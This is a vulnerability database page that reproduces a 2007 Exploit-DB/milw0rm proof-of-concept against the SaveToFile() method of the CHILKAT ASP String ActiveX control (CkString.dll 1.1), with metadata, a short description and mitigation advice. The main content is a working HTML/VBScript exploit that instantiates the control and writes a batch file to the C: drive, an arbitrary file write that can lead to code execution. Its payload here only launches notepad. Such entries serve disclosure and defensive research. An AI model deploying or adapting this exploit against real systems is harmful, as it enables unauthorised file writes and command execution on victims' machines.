CHILKAT ASP String (CkString.dll

vendor:

CHILKAT ASP String

by:

shinnai

7.5

CVSS

HIGH

Insecure Method

CWE

Product Name: CHILKAT ASP String

Affected Version From: 1.1

Affected Version To: 1.1

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested: Windows XP Professional SP2 with Internet Explorer 7

2007

CHILKAT ASP String (CkString.dll <= 1.1) "SaveToFile()" Insecure Method

This exploit targets the 'SaveToFile()' method in the CHILKAT ASP String (CkString.dll) component, version 1.1 and below. It allows an attacker to execute arbitrary commands on the system, potentially leading to remote code execution. The vulnerability exists in all software that uses this component. The exploit takes advantage of the insecure method to create a malicious batch file ('shinnai.bat') and execute it using 'cmd.exe'.

Mitigation:

To mitigate this vulnerability, it is recommended to update to the latest version of the CHILKAT ASP String component. Additionally, restrict access to the component and ensure that it is used securely within the application.

Source

Exploit-DB raw data:

<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-----------------------------------------------------------------------------
 <b>CHILKAT ASP String (CkString.dll <= 1.1) "SaveToFile()" Inscure Method</b>
 url: http://www.chilkatsoft.com/

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 This was written for educational purpose. Use it at your own risk.
 Author will be not be responsible for any damage.
 
 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 all software that use this ocx are vulnerable to this exploits.

 <b>This control is marked as:
 RegKey Safe for Script: False
 RegKey Safe for Init: False
 Implements IObjectSafety: True
 IDisp Safe: Safe for untrusted: caller, data
 IPersist Safe: Safe for untrusted: caller, data
 IPStorage Safe: Safe for untrusted: caller, data</b>
-----------------------------------------------------------------------------

<object classid='clsid:90E567DA-5E79-4571-AB07-7A397FFBE995' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
 Sub tryMe
  Dim mStr
  Dim MyMsg  
   mStr = "echo off" & vbCrLf & _
          "cls" & vbCrLf & _
          "echo Hello World!" & vbCrLf & _
          "cmd.exe /c notepad.exe" & vbCrLf & _
          "pause"

   test.str = mStr
   test.SaveToFile ("c:\shinnai.bat"),"big5"
   MyMsg = MsgBox("Exploit completed!")
 End Sub
</script>
</span></span>

</code></pre>

# milw0rm.com [2007-08-05]